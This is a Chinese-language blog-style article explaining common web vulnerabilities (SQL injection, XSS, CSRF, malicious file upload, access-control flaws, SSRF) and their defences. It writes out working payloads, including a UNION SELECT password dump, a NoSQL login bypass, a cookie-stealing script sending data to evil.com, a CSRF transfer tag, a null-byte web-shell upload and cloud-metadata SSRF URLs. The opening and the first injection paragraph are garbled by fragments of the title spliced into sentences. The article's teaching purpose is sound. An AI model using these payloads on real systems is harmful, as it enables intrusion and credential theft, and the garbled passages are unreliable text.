哪些是web应用常见漏洞
去年有个朋友的公司被拖库了。攻击者没用什么高级0day,见漏就是应用常在一个商品搜索框里输入了 ' OR 1=1 --,然后整个用户表就躺在了黑客的见漏 Telegram 频道里。这事听起来像2005年的应用常段子,但2024年照样发生。见漏Web 漏洞这东西,应用常老归老,见漏管用就行。应用常
SQL注入:把数据库当提款机
SQL注入的见漏本质是代码和数据没分家。用户输入被直接拼进查询语句,应用常数据库分不清哪部分是见漏命令、哪部分是应用常内容。你搜个“手机壳”,见漏后台拼出 SELECT * FROM products WHERE name = '手机壳',应用常一切正常。但如果你输入 ' UNION SELECT username, password FROM users --,数据库就老老实实把用户表吐出来了。
现在完全裸奔的注入少了,但二次注入、盲注、NoSQL注入还在。MongoDB里传个 { "$ne": null} 就能绕过登录,很多用 Node.js 的团队根本没想到这一层。
XSS:你的浏览器在替别人打工
跨站脚本攻击分三种:存储型、反射型、DOM型。存储型最狠——攻击者把恶意脚本存进数据库,每个访问该页面的用户都会中招。某论坛的评论区如果没转义 <script>,你发一段 <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>,所有看帖的人cookie就都送到攻击者服务器了。
反射型需要诱导点击,DOM型完全在浏览器端发生。很多人以为用了React、Vue就安全了,其实dangerouslySetInnerHTML和v-html照样能把你的页面变成XSS游乐场。
CSRF:借你的手干坏事
跨站请求伪造的可怕之处在于——你什么都没做,但银行里钱没了。攻击者构造一个页面,里面藏一个 <img src="https://bank.com/transfer?to=attacker&amount=10000">,只要你登录着银行网站,这个请求就会带着你的cookie发出去。银行以为是你本人操作。
防御CSRF的核心是加一个攻击者猜不到的token,或者检查 Origin 头。但很多老系统还在用 Referer 校验,而现代浏览器和隐私设置经常把这个头干掉,结果要么误杀正常用户,要么干脆不校验。
文件上传:从传图到传shell
用户上传头像,你只检查了 Content-Type?攻击者把 shell.php 的 MIME 改成 image/jpeg 就绕过了。更糟的是,如果上传目录还能被Web服务器解析,那等于直接把服务器钥匙给了对方。
我见过一个案例:上传功能限制了后缀,但没限制文件名里的空字节。攻击者上传 shell.php%00.jpg,后端截断后存成 shell.php,然后访问 /uploads/shell.php 直接执行任意命令。这种漏洞在PHP 5.3之前很常见,但现在某些自己写的解析逻辑里依然会犯。
越权:你只能看自己的,但别人不是
水平越权比垂直越权更隐蔽。普通用户A把URL里的 user_id=1001 改成 user_id=1002,如果系统没校验这个ID是否属于当前登录用户,A就能看到B的订单、私信、甚至修改B的密码。
很多API设计成 GET /api/orders/12345,后端只检查了“有没有登录”,没检查“这个订单是不是你的”。攻击者写个脚本从1遍历到100000,整个平台的订单数据就全漏了。
SSRF:让服务器替你敲门
服务端请求伪造是近年云环境里的重灾区。你有个功能是“根据URL抓取图片”,攻击者传个 http://169.254.169.254/latest/meta-data/,服务器就乖乖把AWS的临时凭证返回来了。或者传 http://localhost:6379/,直接跟内网的Redis对话。
SSRF的防御很麻烦,因为要区分内网和外网地址,还要考虑DNS重绑定、302跳转、IPv6、各种进制表示法。很多团队干脆禁用URL参数,但这又牺牲了功能。
这些漏洞没有一个是新东西。OWASP Top 10 换了又换,但核心就那么几类。问题在于,开发框架越来越高级,开发者离底层越来越远,反而容易忽略这些“古老”的坑。安全不是加个WAF就完事,得从写第一行代码时就想着:用户输入永远不可信。
